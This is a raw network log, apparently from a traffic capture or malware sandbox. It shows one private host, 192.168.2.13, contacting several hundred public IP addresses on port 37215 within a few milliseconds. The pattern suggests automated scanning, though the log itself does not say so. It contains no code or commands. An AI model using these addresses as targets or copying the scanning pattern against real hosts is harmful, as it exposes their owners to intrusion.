Jan 1, 2024 12:51:47.992435932 CET	37751	37215	192.168.2.13	157.243.28.194
Jan 1, 2024 12:51:47.992436886 CET	37751	37215	192.168.2.13	186.113.147.83
Jan 1, 2024 12:51:47.992435932 CET	37751	37215	192.168.2.13	107.50.171.74
Jan 1, 2024 12:51:47.992439032 CET	37751	37215	192.168.2.13	156.190.56.125
Jan 1, 2024 12:51:47.992443085 CET	37751	37215	192.168.2.13	41.247.9.56
Jan 1, 2024 12:51:47.992445946 CET	37751	37215	192.168.2.13	41.210.251.18
Jan 1, 2024 12:51:47.992454052 CET	37751	37215	192.168.2.13	156.85.164.177
Jan 1, 2024 12:51:47.992454052 CET	37751	37215	192.168.2.13	41.233.55.134
Jan 1, 2024 12:51:47.992459059 CET	37751	37215	192.168.2.13	197.120.73.57
Jan 1, 2024 12:51:47.992460012 CET	37751	37215	192.168.2.13	197.79.92.122
Jan 1, 2024 12:51:47.992470026 CET	37751	37215	192.168.2.13	196.83.2.28
Jan 1, 2024 12:51:47.992477894 CET	37751	37215	192.168.2.13	120.228.37.206
Jan 1, 2024 12:51:47.992486000 CET	37751	37215	192.168.2.13	186.15.0.133
Jan 1, 2024 12:51:47.992486000 CET	37751	37215	192.168.2.13	41.62.221.153
Jan 1, 2024 12:51:47.992491961 CET	37751	37215	192.168.2.13	37.199.16.81
Jan 1, 2024 12:51:47.992501974 CET	37751	37215	192.168.2.13	197.58.205.236
Jan 1, 2024 12:51:47.992503881 CET	37751	37215	192.168.2.13	41.158.60.220
Jan 1, 2024 12:51:47.992503881 CET	37751	37215	192.168.2.13	197.132.149.155
Jan 1, 2024 12:51:47.992506027 CET	37751	37215	192.168.2.13	197.57.238.70
Jan 1, 2024 12:51:47.992522001 CET	37751	37215	192.168.2.13	41.235.125.21
Jan 1, 2024 12:51:47.992522001 CET	37751	37215	192.168.2.13	156.55.89.46
Jan 1, 2024 12:51:47.992522955 CET	37751	37215	192.168.2.13	197.238.5.38
Jan 1, 2024 12:51:47.992527962 CET	37751	37215	192.168.2.13	156.64.228.1
Jan 1, 2024 12:51:47.992528915 CET	37751	37215	192.168.2.13	197.4.100.99
Jan 1, 2024 12:51:47.992528915 CET	37751	37215	192.168.2.13	94.89.170.106
Jan 1, 2024 12:51:47.992537975 CET	37751	37215	192.168.2.13	197.80.255.212
Jan 1, 2024 12:51:47.992539883 CET	37751	37215	192.168.2.13	154.193.254.241
Jan 1, 2024 12:51:47.992546082 CET	37751	37215	192.168.2.13	156.168.41.178
Jan 1, 2024 12:51:47.992549896 CET	37751	37215	192.168.2.13	138.180.184.81
Jan 1, 2024 12:51:47.992554903 CET	37751	37215	192.168.2.13	197.77.55.102
Jan 1, 2024 12:51:47.992563009 CET	37751	37215	192.168.2.13	102.160.134.6
Jan 1, 2024 12:51:47.992564917 CET	37751	37215	192.168.2.13	156.58.52.149
Jan 1, 2024 12:51:47.992564917 CET	37751	37215	192.168.2.13	156.57.25.196
Jan 1, 2024 12:51:47.992564917 CET	37751	37215	192.168.2.13	156.251.122.216
Jan 1, 2024 12:51:47.992568970 CET	37751	37215	192.168.2.13	190.117.101.186
Jan 1, 2024 12:51:47.992573977 CET	37751	37215	192.168.2.13	154.164.225.222
Jan 1, 2024 12:51:47.992587090 CET	37751	37215	192.168.2.13	156.170.25.60
Jan 1, 2024 12:51:47.992587090 CET	37751	37215	192.168.2.13	92.88.137.130
Jan 1, 2024 12:51:47.992588043 CET	37751	37215	192.168.2.13	197.92.34.115
Jan 1, 2024 12:51:47.992603064 CET	37751	37215	192.168.2.13	197.73.42.240
Jan 1, 2024 12:51:47.992603064 CET	37751	37215	192.168.2.13	197.130.134.218
Jan 1, 2024 12:51:47.992604017 CET	37751	37215	192.168.2.13	156.179.115.230
Jan 1, 2024 12:51:47.992604017 CET	37751	37215	192.168.2.13	156.133.19.217
Jan 1, 2024 12:51:47.992614031 CET	37751	37215	192.168.2.13	197.14.1.195
Jan 1, 2024 12:51:47.992621899 CET	37751	37215	192.168.2.13	120.152.215.164
Jan 1, 2024 12:51:47.992623091 CET	37751	37215	192.168.2.13	197.198.80.69
Jan 1, 2024 12:51:47.992630005 CET	37751	37215	192.168.2.13	156.13.130.108
Jan 1, 2024 12:51:47.992636919 CET	37751	37215	192.168.2.13	197.211.69.19
Jan 1, 2024 12:51:47.992646933 CET	37751	37215	192.168.2.13	122.166.143.175
Jan 1, 2024 12:51:47.992650032 CET	37751	37215	192.168.2.13	41.201.239.194
Jan 1, 2024 12:51:47.992650032 CET	37751	37215	192.168.2.13	197.158.20.4
Jan 1, 2024 12:51:47.992655039 CET	37751	37215	192.168.2.13	156.132.149.84
Jan 1, 2024 12:51:47.992657900 CET	37751	37215	192.168.2.13	41.25.230.83
Jan 1, 2024 12:51:47.992657900 CET	37751	37215	192.168.2.13	197.15.164.61
Jan 1, 2024 12:51:47.992657900 CET	37751	37215	192.168.2.13	156.126.159.97
Jan 1, 2024 12:51:47.992657900 CET	37751	37215	192.168.2.13	197.63.255.83
Jan 1, 2024 12:51:47.992682934 CET	37751	37215	192.168.2.13	197.53.121.82
Jan 1, 2024 12:51:47.992682934 CET	37751	37215	192.168.2.13	92.34.173.105
Jan 1, 2024 12:51:47.992686033 CET	37751	37215	192.168.2.13	156.106.245.188
Jan 1, 2024 12:51:47.992688894 CET	37751	37215	192.168.2.13	156.203.170.90
Jan 1, 2024 12:51:47.992691994 CET	37751	37215	192.168.2.13	122.115.78.198
Jan 1, 2024 12:51:47.992691994 CET	37751	37215	192.168.2.13	197.151.167.212
Jan 1, 2024 12:51:47.992700100 CET	37751	37215	192.168.2.13	156.217.64.56
Jan 1, 2024 12:51:47.992707968 CET	37751	37215	192.168.2.13	92.20.33.52
Jan 1, 2024 12:51:47.992707968 CET	37751	37215	192.168.2.13	41.254.117.222
Jan 1, 2024 12:51:47.992707968 CET	37751	37215	192.168.2.13	197.96.136.14
Jan 1, 2024 12:51:47.992727995 CET	37751	37215	192.168.2.13	156.125.87.250
Jan 1, 2024 12:51:47.992733002 CET	37751	37215	192.168.2.13	156.127.72.206
Jan 1, 2024 12:51:47.992743015 CET	37751	37215	192.168.2.13	197.177.136.124
Jan 1, 2024 12:51:47.992743015 CET	37751	37215	192.168.2.13	121.146.111.60
Jan 1, 2024 12:51:47.992748976 CET	37751	37215	192.168.2.13	45.79.73.63
Jan 1, 2024 12:51:47.992748976 CET	37751	37215	192.168.2.13	92.151.6.81
Jan 1, 2024 12:51:47.992748976 CET	37751	37215	192.168.2.13	95.250.186.122
Jan 1, 2024 12:51:47.992760897 CET	37751	37215	192.168.2.13	197.154.209.231
Jan 1, 2024 12:51:47.992763042 CET	37751	37215	192.168.2.13	197.189.127.109
Jan 1, 2024 12:51:47.992768049 CET	37751	37215	192.168.2.13	197.159.187.184
Jan 1, 2024 12:51:47.992769957 CET	37751	37215	192.168.2.13	37.188.16.156
Jan 1, 2024 12:51:47.992778063 CET	37751	37215	192.168.2.13	122.92.84.171
Jan 1, 2024 12:51:47.992778063 CET	37751	37215	192.168.2.13	186.123.211.89
Jan 1, 2024 12:51:47.992779016 CET	37751	37215	192.168.2.13	197.184.55.17
Jan 1, 2024 12:51:47.992779016 CET	37751	37215	192.168.2.13	156.238.230.92
Jan 1, 2024 12:51:47.992779016 CET	37751	37215	192.168.2.13	181.8.104.51
Jan 1, 2024 12:51:47.992779016 CET	37751	37215	192.168.2.13	95.151.189.163
Jan 1, 2024 12:51:47.992780924 CET	37751	37215	192.168.2.13	94.210.92.155
Jan 1, 2024 12:51:47.992784977 CET	37751	37215	192.168.2.13	197.66.220.253
Jan 1, 2024 12:51:47.992801905 CET	37751	37215	192.168.2.13	156.3.58.29
Jan 1, 2024 12:51:47.992800951 CET	37751	37215	192.168.2.13	107.66.73.121
Jan 1, 2024 12:51:47.992803097 CET	37751	37215	192.168.2.13	41.6.112.185
Jan 1, 2024 12:51:47.992804050 CET	37751	37215	192.168.2.13	181.79.95.115
Jan 1, 2024 12:51:47.992801905 CET	37751	37215	192.168.2.13	222.173.77.6
Jan 1, 2024 12:51:47.992809057 CET	37751	37215	192.168.2.13	160.4.60.219
Jan 1, 2024 12:51:47.992814064 CET	37751	37215	192.168.2.13	156.30.172.232
Jan 1, 2024 12:51:47.992819071 CET	37751	37215	192.168.2.13	138.113.187.1
Jan 1, 2024 12:51:47.992834091 CET	37751	37215	192.168.2.13	41.76.37.244
Jan 1, 2024 12:51:47.992840052 CET	37751	37215	192.168.2.13	41.62.118.216
Jan 1, 2024 12:51:47.992841959 CET	37751	37215	192.168.2.13	121.94.21.138
Jan 1, 2024 12:51:47.992841959 CET	37751	37215	192.168.2.13	138.77.1.103
Jan 1, 2024 12:51:47.992846966 CET	37751	37215	192.168.2.13	94.33.206.202
Jan 1, 2024 12:51:47.992852926 CET	37751	37215	192.168.2.13	41.155.2.43
Jan 1, 2024 12:51:47.992856026 CET	37751	37215	192.168.2.13	120.57.82.149
Jan 1, 2024 12:51:47.992865086 CET	37751	37215	192.168.2.13	197.247.184.24
Jan 1, 2024 12:51:47.992866039 CET	37751	37215	192.168.2.13	181.96.145.250
Jan 1, 2024 12:51:47.992873907 CET	37751	37215	192.168.2.13	102.134.240.245
Jan 1, 2024 12:51:47.992873907 CET	37751	37215	192.168.2.13	41.11.255.254
Jan 1, 2024 12:51:47.992880106 CET	37751	37215	192.168.2.13	120.152.30.148
Jan 1, 2024 12:51:47.992887974 CET	37751	37215	192.168.2.13	197.31.157.0
Jan 1, 2024 12:51:47.992889881 CET	37751	37215	192.168.2.13	197.203.207.255
Jan 1, 2024 12:51:47.992891073 CET	37751	37215	192.168.2.13	157.189.89.100
Jan 1, 2024 12:51:47.992902040 CET	37751	37215	192.168.2.13	197.164.147.92
Jan 1, 2024 12:51:47.992909908 CET	37751	37215	192.168.2.13	156.222.4.201
Jan 1, 2024 12:51:47.992918015 CET	37751	37215	192.168.2.13	41.237.54.31
Jan 1, 2024 12:51:47.992918968 CET	37751	37215	192.168.2.13	41.219.200.162
Jan 1, 2024 12:51:47.992919922 CET	37751	37215	192.168.2.13	157.42.143.86
Jan 1, 2024 12:51:47.992928028 CET	37751	37215	192.168.2.13	156.223.13.21
Jan 1, 2024 12:51:47.992930889 CET	37751	37215	192.168.2.13	197.80.1.61
Jan 1, 2024 12:51:47.992935896 CET	37751	37215	192.168.2.13	197.221.91.12
Jan 1, 2024 12:51:47.992942095 CET	37751	37215	192.168.2.13	120.201.173.235
Jan 1, 2024 12:51:47.992944002 CET	37751	37215	192.168.2.13	186.47.249.22
Jan 1, 2024 12:51:47.992953062 CET	37751	37215	192.168.2.13	197.218.95.213
Jan 1, 2024 12:51:47.992959023 CET	37751	37215	192.168.2.13	41.40.190.52
Jan 1, 2024 12:51:47.992959976 CET	37751	37215	192.168.2.13	197.148.240.115
Jan 1, 2024 12:51:47.992959976 CET	37751	37215	192.168.2.13	197.133.82.28
Jan 1, 2024 12:51:47.992964029 CET	37751	37215	192.168.2.13	156.41.184.80
Jan 1, 2024 12:51:47.992969036 CET	37751	37215	192.168.2.13	197.100.68.22
Jan 1, 2024 12:51:47.992971897 CET	37751	37215	192.168.2.13	41.221.183.103
Jan 1, 2024 12:51:47.992980003 CET	37751	37215	192.168.2.13	197.201.234.80
Jan 1, 2024 12:51:47.992984056 CET	37751	37215	192.168.2.13	156.9.64.84
Jan 1, 2024 12:51:47.992984056 CET	37751	37215	192.168.2.13	94.4.140.198
Jan 1, 2024 12:51:47.992995977 CET	37751	37215	192.168.2.13	120.205.39.185
Jan 1, 2024 12:51:47.993001938 CET	37751	37215	192.168.2.13	197.180.47.137
Jan 1, 2024 12:51:47.993005991 CET	37751	37215	192.168.2.13	197.137.106.87
Jan 1, 2024 12:51:47.993016958 CET	37751	37215	192.168.2.13	121.125.235.39
Jan 1, 2024 12:51:47.993017912 CET	37751	37215	192.168.2.13	156.242.34.7
Jan 1, 2024 12:51:47.993021965 CET	37751	37215	192.168.2.13	197.201.195.76
Jan 1, 2024 12:51:47.993021965 CET	37751	37215	192.168.2.13	197.159.71.78
Jan 1, 2024 12:51:47.993026972 CET	37751	37215	192.168.2.13	107.90.49.157
Jan 1, 2024 12:51:47.993038893 CET	37751	37215	192.168.2.13	41.144.108.31
Jan 1, 2024 12:51:47.993047953 CET	37751	37215	192.168.2.13	121.187.53.152
Jan 1, 2024 12:51:47.993048906 CET	37751	37215	192.168.2.13	160.118.207.100
Jan 1, 2024 12:51:47.993050098 CET	37751	37215	192.168.2.13	156.88.94.72
Jan 1, 2024 12:51:47.993050098 CET	37751	37215	192.168.2.13	197.173.134.167
Jan 1, 2024 12:51:47.993062973 CET	37751	37215	192.168.2.13	37.118.73.8
Jan 1, 2024 12:51:47.993063927 CET	37751	37215	192.168.2.13	94.34.219.213
Jan 1, 2024 12:51:47.993066072 CET	37751	37215	192.168.2.13	197.19.217.225
Jan 1, 2024 12:51:47.993066072 CET	37751	37215	192.168.2.13	156.112.194.33
Jan 1, 2024 12:51:47.993067026 CET	37751	37215	192.168.2.13	197.129.12.167
Jan 1, 2024 12:51:47.993073940 CET	37751	37215	192.168.2.13	190.33.86.149
Jan 1, 2024 12:51:47.993073940 CET	37751	37215	192.168.2.13	197.173.53.137
Jan 1, 2024 12:51:47.993073940 CET	37751	37215	192.168.2.13	197.22.253.234
Jan 1, 2024 12:51:47.993074894 CET	37751	37215	192.168.2.13	41.108.10.68
Jan 1, 2024 12:51:47.993074894 CET	37751	37215	192.168.2.13	41.204.221.217
Jan 1, 2024 12:51:47.993077040 CET	37751	37215	192.168.2.13	197.66.141.27
Jan 1, 2024 12:51:47.993077993 CET	37751	37215	192.168.2.13	41.96.112.220
Jan 1, 2024 12:51:47.993089914 CET	37751	37215	192.168.2.13	196.234.95.126
Jan 1, 2024 12:51:47.993098021 CET	37751	37215	192.168.2.13	41.151.83.83
Jan 1, 2024 12:51:47.993098021 CET	37751	37215	192.168.2.13	102.31.18.175
Jan 1, 2024 12:51:47.993098974 CET	37751	37215	192.168.2.13	138.66.2.234
Jan 1, 2024 12:51:47.993103981 CET	37751	37215	192.168.2.13	95.177.235.168
Jan 1, 2024 12:51:47.993103981 CET	37751	37215	192.168.2.13	156.191.254.198
Jan 1, 2024 12:51:47.993110895 CET	37751	37215	192.168.2.13	122.223.252.114
Jan 1, 2024 12:51:47.993124962 CET	37751	37215	192.168.2.13	156.119.196.189
Jan 1, 2024 12:51:47.993127108 CET	37751	37215	192.168.2.13	156.74.153.209
Jan 1, 2024 12:51:47.993135929 CET	37751	37215	192.168.2.13	156.156.122.53
Jan 1, 2024 12:51:47.993136883 CET	37751	37215	192.168.2.13	160.60.132.59
Jan 1, 2024 12:51:47.993139029 CET	37751	37215	192.168.2.13	156.223.34.20
Jan 1, 2024 12:51:47.993139029 CET	37751	37215	192.168.2.13	154.202.166.142
Jan 1, 2024 12:51:47.993143082 CET	37751	37215	192.168.2.13	156.26.133.1
Jan 1, 2024 12:51:47.993149996 CET	37751	37215	192.168.2.13	41.0.34.166
Jan 1, 2024 12:51:47.993149996 CET	37751	37215	192.168.2.13	41.36.79.52
Jan 1, 2024 12:51:47.993158102 CET	37751	37215	192.168.2.13	37.5.51.80
Jan 1, 2024 12:51:47.993164062 CET	37751	37215	192.168.2.13	197.109.1.117
Jan 1, 2024 12:51:47.993170023 CET	37751	37215	192.168.2.13	197.95.113.232
Jan 1, 2024 12:51:47.993180990 CET	37751	37215	192.168.2.13	41.240.235.130
Jan 1, 2024 12:51:47.993189096 CET	37751	37215	192.168.2.13	197.44.52.75
Jan 1, 2024 12:51:47.993189096 CET	37751	37215	192.168.2.13	190.186.153.35
Jan 1, 2024 12:51:47.993190050 CET	37751	37215	192.168.2.13	197.223.29.219
Jan 1, 2024 12:51:47.993197918 CET	37751	37215	192.168.2.13	156.139.148.188
Jan 1, 2024 12:51:47.993197918 CET	37751	37215	192.168.2.13	156.223.27.22
Jan 1, 2024 12:51:47.993201971 CET	37751	37215	192.168.2.13	197.31.163.110
Jan 1, 2024 12:51:47.993206024 CET	37751	37215	192.168.2.13	197.77.173.146
Jan 1, 2024 12:51:47.993210077 CET	37751	37215	192.168.2.13	196.237.239.235
Jan 1, 2024 12:51:47.993212938 CET	37751	37215	192.168.2.13	197.74.146.33
Jan 1, 2024 12:51:47.993212938 CET	37751	37215	192.168.2.13	41.12.135.1
Jan 1, 2024 12:51:47.993227959 CET	37751	37215	192.168.2.13	197.47.134.64
Jan 1, 2024 12:51:47.993228912 CET	37751	37215	192.168.2.13	41.38.48.243
Jan 1, 2024 12:51:47.993228912 CET	37751	37215	192.168.2.13	157.159.47.70
Jan 1, 2024 12:51:47.993228912 CET	37751	37215	192.168.2.13	121.28.88.42
Jan 1, 2024 12:51:47.993243933 CET	37751	37215	192.168.2.13	102.182.75.44
Jan 1, 2024 12:51:47.993242979 CET	37751	37215	192.168.2.13	186.62.84.93
Jan 1, 2024 12:51:47.993242979 CET	37751	37215	192.168.2.13	197.44.201.65
Jan 1, 2024 12:51:47.993242979 CET	37751	37215	192.168.2.13	41.53.214.188
Jan 1, 2024 12:51:47.993254900 CET	37751	37215	192.168.2.13	156.9.81.66
Jan 1, 2024 12:51:47.993254900 CET	37751	37215	192.168.2.13	197.248.168.197
Jan 1, 2024 12:51:47.993261099 CET	37751	37215	192.168.2.13	138.49.194.21
Jan 1, 2024 12:51:47.993261099 CET	37751	37215	192.168.2.13	156.54.223.4
Jan 1, 2024 12:51:47.993263960 CET	37751	37215	192.168.2.13	156.73.64.195
Jan 1, 2024 12:51:47.993263960 CET	37751	37215	192.168.2.13	41.115.25.232
Jan 1, 2024 12:51:47.993266106 CET	37751	37215	192.168.2.13	156.15.2.161
Jan 1, 2024 12:51:47.993266106 CET	37751	37215	192.168.2.13	156.239.110.136
Jan 1, 2024 12:51:47.993268967 CET	37751	37215	192.168.2.13	156.163.92.213
Jan 1, 2024 12:51:47.993268967 CET	37751	37215	192.168.2.13	181.183.144.226
Jan 1, 2024 12:51:47.993271112 CET	37751	37215	192.168.2.13	181.18.92.7
Jan 1, 2024 12:51:47.993288040 CET	37751	37215	192.168.2.13	156.229.52.62
Jan 1, 2024 12:51:47.993288040 CET	37751	37215	192.168.2.13	156.168.171.254
Jan 1, 2024 12:51:47.993289948 CET	37751	37215	192.168.2.13	197.55.205.18
Jan 1, 2024 12:51:47.993292093 CET	37751	37215	192.168.2.13	41.150.98.90
Jan 1, 2024 12:51:47.993302107 CET	37751	37215	192.168.2.13	41.143.214.75
Jan 1, 2024 12:51:47.993304968 CET	37751	37215	192.168.2.13	181.238.93.254
Jan 1, 2024 12:51:47.993308067 CET	37751	37215	192.168.2.13	154.68.96.12
Jan 1, 2024 12:51:47.993311882 CET	37751	37215	192.168.2.13	156.83.143.234
Jan 1, 2024 12:51:47.993313074 CET	37751	37215	192.168.2.13	197.76.146.68
Jan 1, 2024 12:51:47.993314028 CET	37751	37215	192.168.2.13	197.113.70.97
Jan 1, 2024 12:51:47.993315935 CET	37751	37215	192.168.2.13	41.104.234.54
Jan 1, 2024 12:51:47.993315935 CET	37751	37215	192.168.2.13	222.34.233.244
Jan 1, 2024 12:51:47.993319035 CET	37751	37215	192.168.2.13	156.95.186.128
Jan 1, 2024 12:51:47.993334055 CET	37751	37215	192.168.2.13	156.35.211.31
Jan 1, 2024 12:51:47.993336916 CET	37751	37215	192.168.2.13	190.80.244.165
Jan 1, 2024 12:51:47.993336916 CET	37751	37215	192.168.2.13	41.106.177.104
Jan 1, 2024 12:51:47.993336916 CET	37751	37215	192.168.2.13	156.172.216.101
Jan 1, 2024 12:51:47.993340969 CET	37751	37215	192.168.2.13	156.138.211.102
Jan 1, 2024 12:51:47.993345022 CET	37751	37215	192.168.2.13	41.221.15.18
Jan 1, 2024 12:51:47.993347883 CET	37751	37215	192.168.2.13	197.160.62.46
Jan 1, 2024 12:51:47.993350983 CET	37751	37215	192.168.2.13	41.11.205.22
Jan 1, 2024 12:51:47.993356943 CET	37751	37215	192.168.2.13	156.107.200.52
Jan 1, 2024 12:51:47.993371010 CET	37751	37215	192.168.2.13	122.84.48.200
Jan 1, 2024 12:51:47.993370056 CET	37751	37215	192.168.2.13	197.75.45.43
Jan 1, 2024 12:51:47.993376017 CET	37751	37215	192.168.2.13	41.183.105.127
Jan 1, 2024 12:51:47.993376017 CET	37751	37215	192.168.2.13	41.121.56.190
Jan 1, 2024 12:51:47.993381977 CET	37751	37215	192.168.2.13	222.230.212.98
Jan 1, 2024 12:51:47.993382931 CET	37751	37215	192.168.2.13	107.153.60.191
Jan 1, 2024 12:51:47.993391037 CET	37751	37215	192.168.2.13	156.236.216.93
Jan 1, 2024 12:51:47.993392944 CET	37751	37215	192.168.2.13	196.225.148.54
Jan 1, 2024 12:51:47.993397951 CET	37751	37215	192.168.2.13	92.151.190.230
Jan 1, 2024 12:51:47.993398905 CET	37751	37215	192.168.2.13	197.164.208.233
Jan 1, 2024 12:51:47.993402958 CET	37751	37215	192.168.2.13	197.77.25.42
Jan 1, 2024 12:51:47.993407965 CET	37751	37215	192.168.2.13	156.159.48.195
Jan 1, 2024 12:51:47.993412971 CET	37751	37215	192.168.2.13	107.63.9.225
Jan 1, 2024 12:51:47.993417978 CET	37751	37215	192.168.2.13	94.141.169.210
Jan 1, 2024 12:51:47.993426085 CET	37751	37215	192.168.2.13	156.244.134.171
Jan 1, 2024 12:51:47.993429899 CET	37751	37215	192.168.2.13	41.242.181.69
Jan 1, 2024 12:51:47.993429899 CET	37751	37215	192.168.2.13	197.93.248.221
Jan 1, 2024 12:51:47.993446112 CET	37751	37215	192.168.2.13	107.15.2.1
Jan 1, 2024 12:51:47.993448019 CET	37751	37215	192.168.2.13	120.135.239.238
Jan 1, 2024 12:51:47.993448973 CET	37751	37215	192.168.2.13	197.59.127.117
Jan 1, 2024 12:51:47.993458986 CET	37751	37215	192.168.2.13	156.80.2.55
Jan 1, 2024 12:51:47.993459940 CET	37751	37215	192.168.2.13	94.11.77.183
Jan 1, 2024 12:51:47.993459940 CET	37751	37215	192.168.2.13	154.84.211.103
Jan 1, 2024 12:51:47.993464947 CET	37751	37215	192.168.2.13	122.177.244.138
Jan 1, 2024 12:51:47.993468046 CET	37751	37215	192.168.2.13	138.255.2.250
Jan 1, 2024 12:51:47.993472099 CET	37751	37215	192.168.2.13	41.182.80.205
Jan 1, 2024 12:51:47.993472099 CET	37751	37215	192.168.2.13	41.122.27.119
Jan 1, 2024 12:51:47.993474007 CET	37751	37215	192.168.2.13	156.34.136.247
Jan 1, 2024 12:51:47.993491888 CET	37751	37215	192.168.2.13	197.23.98.224
Jan 1, 2024 12:51:47.993493080 CET	37751	37215	192.168.2.13	156.27.20.136
Jan 1, 2024 12:51:47.993494987 CET	37751	37215	192.168.2.13	41.59.14.11
Jan 1, 2024 12:51:47.993498087 CET	37751	37215	192.168.2.13	95.207.140.143
Jan 1, 2024 12:51:47.993500948 CET	37751	37215	192.168.2.13	197.170.169.92
Jan 1, 2024 12:51:47.993505955 CET	37751	37215	192.168.2.13	156.88.130.16
Jan 1, 2024 12:51:47.993506908 CET	37751	37215	192.168.2.13	156.73.76.220
Jan 1, 2024 12:51:47.993505955 CET	37751	37215	192.168.2.13	196.49.118.164
Jan 1, 2024 12:51:47.993506908 CET	37751	37215	192.168.2.13	156.232.57.192
Jan 1, 2024 12:51:47.993514061 CET	37751	37215	192.168.2.13	102.70.32.127
Jan 1, 2024 12:51:47.993514061 CET	37751	37215	192.168.2.13	120.182.122.60
Jan 1, 2024 12:51:47.993515015 CET	37751	37215	192.168.2.13	156.114.95.147
Jan 1, 2024 12:51:47.993525982 CET	37751	37215	192.168.2.13	197.243.54.102
Jan 1, 2024 12:51:47.993529081 CET	37751	37215	192.168.2.13	41.17.220.220
Jan 1, 2024 12:51:47.993529081 CET	37751	37215	192.168.2.13	197.100.248.75
Jan 1, 2024 12:51:47.993531942 CET	37751	37215	192.168.2.13	157.235.3.72
Jan 1, 2024 12:51:47.993534088 CET	37751	37215	192.168.2.13	41.141.229.223
Jan 1, 2024 12:51:47.993537903 CET	37751	37215	192.168.2.13	156.127.253.253
Jan 1, 2024 12:51:47.993551016 CET	37751	37215	192.168.2.13	41.99.50.113
Jan 1, 2024 12:51:47.993551970 CET	37751	37215	192.168.2.13	190.22.4.139
Jan 1, 2024 12:51:47.993560076 CET	37751	37215	192.168.2.13	37.9.206.6
Jan 1, 2024 12:51:47.993566036 CET	37751	37215	192.168.2.13	41.36.28.150
Jan 1, 2024 12:51:47.993575096 CET	37751	37215	192.168.2.13	156.87.85.10
Jan 1, 2024 12:51:47.993577957 CET	37751	37215	192.168.2.13	156.98.155.120
Jan 1, 2024 12:51:47.993580103 CET	37751	37215	192.168.2.13	41.207.16.233
Jan 1, 2024 12:51:47.993582964 CET	37751	37215	192.168.2.13	156.95.117.58
Jan 1, 2024 12:51:47.993586063 CET	37751	37215	192.168.2.13	41.233.150.202
Jan 1, 2024 12:51:47.993602037 CET	37751	37215	192.168.2.13	197.252.110.125
Jan 1, 2024 12:51:47.993602037 CET	37751	37215	192.168.2.13	196.116.151.145
Jan 1, 2024 12:51:47.993602037 CET	37751	37215	192.168.2.13	197.210.34.68
Jan 1, 2024 12:51:47.993606091 CET	37751	37215	192.168.2.13	156.113.38.31
Jan 1, 2024 12:51:47.993608952 CET	37751	37215	192.168.2.13	197.191.202.1
Jan 1, 2024 12:51:47.993614912 CET	37751	37215	192.168.2.13	197.11.146.222
Jan 1, 2024 12:51:47.993623972 CET	37751	37215	192.168.2.13	197.100.125.130
Jan 1, 2024 12:51:47.993626118 CET	37751	37215	192.168.2.13	197.6.9.37
Jan 1, 2024 12:51:47.993627071 CET	37751	37215	192.168.2.13	102.184.125.134
Jan 1, 2024 12:51:47.993630886 CET	37751	37215	192.168.2.13	156.90.73.135
Jan 1, 2024 12:51:47.993632078 CET	37751	37215	192.168.2.13	37.107.1.89
Jan 1, 2024 12:51:47.993633986 CET	37751	37215	192.168.2.13	92.5.162.70
Jan 1, 2024 12:51:47.993635893 CET	37751	37215	192.168.2.13	156.131.12.149
Jan 1, 2024 12:51:47.993635893 CET	37751	37215	192.168.2.13	197.20.151.162
Jan 1, 2024 12:51:47.993640900 CET	37751	37215	192.168.2.13	156.74.2.251
Jan 1, 2024 12:51:47.993652105 CET	37751	37215	192.168.2.13	121.18.88.26
Jan 1, 2024 12:51:47.993653059 CET	37751	37215	192.168.2.13	197.142.78.114
Jan 1, 2024 12:51:47.993653059 CET	37751	37215	192.168.2.13	160.166.115.157
Jan 1, 2024 12:51:47.993658066 CET	37751	37215	192.168.2.13	102.127.151.5
Jan 1, 2024 12:51:47.993666887 CET	37751	37215	192.168.2.13	41.104.244.70
Jan 1, 2024 12:51:47.993675947 CET	37751	37215	192.168.2.13	197.193.12.77
Jan 1, 2024 12:51:47.993676901 CET	37751	37215	192.168.2.13	156.102.103.81
Jan 1, 2024 12:51:47.993688107 CET	37751	37215	192.168.2.13	197.127.187.117
Jan 1, 2024 12:51:47.993690968 CET	37751	37215	192.168.2.13	107.11.115.185
Jan 1, 2024 12:51:47.993690968 CET	37751	37215	192.168.2.13	156.229.138.169
Jan 1, 2024 12:51:47.993690968 CET	37751	37215	192.168.2.13	197.37.96.193
Jan 1, 2024 12:51:47.993693113 CET	37751	37215	192.168.2.13	41.146.71.224
Jan 1, 2024 12:51:47.993706942 CET	37751	37215	192.168.2.13	156.28.140.222
Jan 1, 2024 12:51:47.993709087 CET	37751	37215	192.168.2.13	197.229.83.165
Jan 1, 2024 12:51:47.993709087 CET	37751	37215	192.168.2.13	156.102.188.83
Jan 1, 2024 12:51:47.993721962 CET	37751	37215	192.168.2.13	156.126.185.114
Jan 1, 2024 12:51:47.993721962 CET	37751	37215	192.168.2.13	122.106.57.3
Jan 1, 2024 12:51:47.993724108 CET	37751	37215	192.168.2.13	156.162.141.78
Jan 1, 2024 12:51:47.993726969 CET	37751	37215	192.168.2.13	37.113.92.142
Jan 1, 2024 12:51:47.993731976 CET	37751	37215	192.168.2.13	121.19.163.112
Jan 1, 2024 12:51:47.993733883 CET	37751	37215	192.168.2.13	196.160.90.103
Jan 1, 2024 12:51:47.993736029 CET	37751	37215	192.168.2.13	156.182.210.6
Jan 1, 2024 12:51:47.993752956 CET	37751	37215	192.168.2.13	156.100.123.39
Jan 1, 2024 12:51:47.993752956 CET	37751	37215	192.168.2.13	41.215.109.183
Jan 1, 2024 12:51:47.993752956 CET	37751	37215	192.168.2.13	157.134.105.36
Jan 1, 2024 12:51:47.993762016 CET	37751	37215	192.168.2.13	197.239.81.155
Jan 1, 2024 12:51:47.993769884 CET	37751	37215	192.168.2.13	41.250.60.20
Jan 1, 2024 12:51:47.993769884 CET	37751	37215	192.168.2.13	94.167.124.182
Jan 1, 2024 12:51:47.993777037 CET	37751	37215	192.168.2.13	154.84.92.211
Jan 1, 2024 12:51:47.993784904 CET	37751	37215	192.168.2.13	157.152.51.162
Jan 1, 2024 12:51:47.993792057 CET	37751	37215	192.168.2.13	121.203.6.76
Jan 1, 2024 12:51:47.993792057 CET	37751	37215	192.168.2.13	197.106.64.46
Jan 1, 2024 12:51:47.993793964 CET	37751	37215	192.168.2.13	156.101.31.16
Jan 1, 2024 12:51:47.993809938 CET	37751	37215	192.168.2.13	197.25.205.136
Jan 1, 2024 12:51:47.993809938 CET	37751	37215	192.168.2.13	94.169.75.156
Jan 1, 2024 12:51:47.993814945 CET	37751	37215	192.168.2.13	122.183.195.145
Jan 1, 2024 12:51:47.993814945 CET	37751	37215	192.168.2.13	92.222.94.203
Jan 1, 2024 12:51:47.993828058 CET	37751	37215	192.168.2.13	157.140.6.162
Jan 1, 2024 12:51:47.993828058 CET	37751	37215	192.168.2.13	156.251.197.38
